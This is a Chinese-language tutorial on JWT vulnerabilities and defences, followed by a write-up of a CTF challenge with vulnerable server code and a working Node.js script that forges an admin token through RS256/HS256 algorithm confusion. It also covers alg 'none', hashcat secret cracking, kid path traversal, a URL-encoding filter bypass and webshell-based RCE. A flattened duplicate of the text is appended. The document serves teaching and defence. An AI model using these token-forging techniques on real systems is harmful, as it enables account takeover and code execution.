初涉JWT
字数 1762 2025-08-24 20:49:22

JWT安全攻防详解

1. JWT基本介绍

JWT(JSON Web Token)是一种开放标准(RFC 7519),用于在各方之间安全地传输信息作为JSON对象。它由三部分组成:

  • 标头(Header):包含令牌类型和签名算法
  • 有效载荷(Payload):包含声明(claims),即关于实体(通常是用户)和其他数据的声明
  • 签名(Signature):用于验证消息在传输过程中没有被更改

格式:Header.Payload.Signature,各部分用英文句号连接,并进行Base64编码。

2. JWT常见安全漏洞

2.1 未经验证的签名

漏洞原因:服务器未验证JWT签名,直接信任令牌内容。

利用方法

  1. 获取普通用户的有效JWT
  2. 修改payload中的用户身份信息(如将"username":"wiener"改为"username":"administrator")
  3. 使用修改后的令牌访问特权功能

防御措施:始终验证JWT签名。

2.2 签名验证缺陷(None算法攻击)

漏洞原因:当alg参数设置为"none"时,服务器可能不验证签名。

利用方法

  1. 修改JWT头部中的alg参数为"none"
  2. 删除签名部分(保留最后的点)
  3. 修改payload中的用户身份信息

防御措施:拒绝alg为"none"的JWT,或明确指定允许的算法列表。

2.3 密钥爆破

漏洞原因:使用弱密钥或常见密钥进行签名。

利用工具

  • Hashcat:hashcat -a 0 -m 16500 <jwt> <wordlist>
  • 常用字典:jwt-secrets

防御措施:使用强随机密钥,定期更换密钥。

2.4 标头参数注入

2.4.1 JWK(JSON Web Key)注入

漏洞原因:服务器信任嵌入在jwk参数中的密钥。

利用方法

  1. 生成RSA密钥对
  2. 在JWT中添加jwk参数,包含公钥
  3. 使用私钥签名伪造的JWT

2.4.2 JKU(JWK Set URL)注入

漏洞原因:服务器从攻击者控制的URL获取验证密钥。

利用方法

  1. 生成RSA密钥对
  2. 在攻击者服务器托管包含公钥的JWK Set
  3. 在JWT中添加jku参数指向恶意JWK Set
  4. 使用私钥签名伪造的JWT

2.4.3 KID(Key ID)注入

漏洞原因:kid参数未正确验证,可能导致路径遍历或SQL注入。

利用方法

  1. 修改kid参数为已知密钥路径(如"../../../../../../../dev/null")
  2. 使用空密钥签名伪造的JWT

防御措施:严格验证标头参数,限制可接受的密钥来源。

2.5 算法混淆攻击

漏洞原因:服务器同时支持RS256(非对称)和HS256(对称)算法,且公钥可被获取。

利用方法

  1. 从服务器获取公钥(如/jwks.json)
  2. 将JWK转换为PEM格式
  3. 修改JWT头部alg为HS256
  4. 使用公钥作为HMAC密钥签名伪造的JWT

防御措施:只使用一种算法类型,或严格分离不同算法的验证逻辑。

3. 实战案例:HackThisBox比赛题目分析

3.1 漏洞分析

题目涉及JWT算法混淆攻击,关键代码:

// api.js - 登录时使用RS256算法签名
var privateKey = fs.readFileSync('./config/private.pem');
router.post('/login', function(req, res, next) {
  const token = jwt.sign({ username: req.body.username, isAdmin: false, home: req.body.username }, privateKey, { algorithm: "RS256" });
});

// app.js - 验证时同时允许HS256和RS256
var publicKey = fs.readFileSync('./config/public.pem');
app.use(expressjwt({ secret: publicKey, algorithms: ["HS256", "RS256"]}));

3.2 利用步骤

  1. 伪造管理员令牌

    • 使用HS256算法,将公钥作为HMAC密钥
    • 设置isAdmin为true
    • 设置home参数为任意文件写入路径
  2. 绕过路径过滤

    • 使用URL编码绕过正则过滤(如"routes"编码为"%72%6f%75%74%65%73")
  3. 任意文件写入

    • 通过文件上传功能覆盖关键文件(如index.js)
    • 写入Webshell实现RCE

3.3 完整利用代码

// 伪造JWT的Node.js代码
var express = require('express');
var fs = require("fs")
var jwt = require("jsonwebtoken")
var app = express();
var publicKey = fs.readFileSync('./src/config/public.pem');

app.get('/', function(req, res, next) {
    const token = jwt.sign({
        username: "admin", 
        isAdmin: true, 
        home: {
            href: "c",
            origin: "c",
            protocol: "file:",
            hostname: "",
            pathname: "/app/%72%6f%75%74%65%73/index.%6a%73"  // app/routes/index.js
        }
    }, publicKey, {algorithm: "HS256"});
    res.send({token})
});

var server = app.listen(7000);

4. 防御建议

  1. 使用强算法(推荐RS256)
  2. 验证所有JWT签名
  3. 限制允许的算法列表
  4. 验证所有标头参数
  5. 使用适当的密钥管理
  6. 实施令牌过期机制
  7. 对敏感操作使用二次验证

5. 工具推荐

  1. Burp Suite插件

    • JWT Editor - 方便修改和签名JWT
  2. 离线工具

    • jwt_tool - JWT测试工具包
    • Hashcat - 用于JWT密钥爆破
  3. 在线工具

通过全面理解JWT的工作原理和安全风险,开发人员和安全测试人员可以更好地保护应用程序免受相关攻击。

JWT安全攻防详解 1. JWT基本介绍 JWT(JSON Web Token)是一种开放标准(RFC 7519),用于在各方之间安全地传输信息作为JSON对象。它由三部分组成: 标头(Header) :包含令牌类型和签名算法 有效载荷(Payload) :包含声明(claims),即关于实体(通常是用户)和其他数据的声明 签名(Signature) :用于验证消息在传输过程中没有被更改 格式: Header.Payload.Signature ,各部分用英文句号连接,并进行Base64编码。 2. JWT常见安全漏洞 2.1 未经验证的签名 漏洞原因 :服务器未验证JWT签名,直接信任令牌内容。 利用方法 : 获取普通用户的有效JWT 修改payload中的用户身份信息(如将"username":"wiener"改为"username":"administrator") 使用修改后的令牌访问特权功能 防御措施 :始终验证JWT签名。 2.2 签名验证缺陷(None算法攻击) 漏洞原因 :当alg参数设置为"none"时,服务器可能不验证签名。 利用方法 : 修改JWT头部中的alg参数为"none" 删除签名部分(保留最后的点) 修改payload中的用户身份信息 防御措施 :拒绝alg为"none"的JWT,或明确指定允许的算法列表。 2.3 密钥爆破 漏洞原因 :使用弱密钥或常见密钥进行签名。 利用工具 : Hashcat: hashcat -a 0 -m 16500 <jwt> <wordlist> 常用字典: jwt-secrets 防御措施 :使用强随机密钥,定期更换密钥。 2.4 标头参数注入 2.4.1 JWK(JSON Web Key)注入 漏洞原因 :服务器信任嵌入在jwk参数中的密钥。 利用方法 : 生成RSA密钥对 在JWT中添加jwk参数,包含公钥 使用私钥签名伪造的JWT 2.4.2 JKU(JWK Set URL)注入 漏洞原因 :服务器从攻击者控制的URL获取验证密钥。 利用方法 : 生成RSA密钥对 在攻击者服务器托管包含公钥的JWK Set 在JWT中添加jku参数指向恶意JWK Set 使用私钥签名伪造的JWT 2.4.3 KID(Key ID)注入 漏洞原因 :kid参数未正确验证,可能导致路径遍历或SQL注入。 利用方法 : 修改kid参数为已知密钥路径(如"../../../../../../../dev/null") 使用空密钥签名伪造的JWT 防御措施 :严格验证标头参数,限制可接受的密钥来源。 2.5 算法混淆攻击 漏洞原因 :服务器同时支持RS256(非对称)和HS256(对称)算法,且公钥可被获取。 利用方法 : 从服务器获取公钥(如/jwks.json) 将JWK转换为PEM格式 修改JWT头部alg为HS256 使用公钥作为HMAC密钥签名伪造的JWT 防御措施 :只使用一种算法类型,或严格分离不同算法的验证逻辑。 3. 实战案例:HackThisBox比赛题目分析 3.1 漏洞分析 题目涉及JWT算法混淆攻击,关键代码: 3.2 利用步骤 伪造管理员令牌 : 使用HS256算法,将公钥作为HMAC密钥 设置isAdmin为true 设置home参数为任意文件写入路径 绕过路径过滤 : 使用URL编码绕过正则过滤(如"routes"编码为"%72%6f%75%74%65%73") 任意文件写入 : 通过文件上传功能覆盖关键文件(如index.js) 写入Webshell实现RCE 3.3 完整利用代码 4. 防御建议 使用强算法(推荐RS256) 验证所有JWT签名 限制允许的算法列表 验证所有标头参数 使用适当的密钥管理 实施令牌过期机制 对敏感操作使用二次验证 5. 工具推荐 Burp Suite插件 : JWT Editor - 方便修改和签名JWT 离线工具 : jwt_ tool - JWT测试工具包 Hashcat - 用于JWT密钥爆破 在线工具 : jwt.io - JWT解码和验证 通过全面理解JWT的工作原理和安全风险,开发人员和安全测试人员可以更好地保护应用程序免受相关攻击。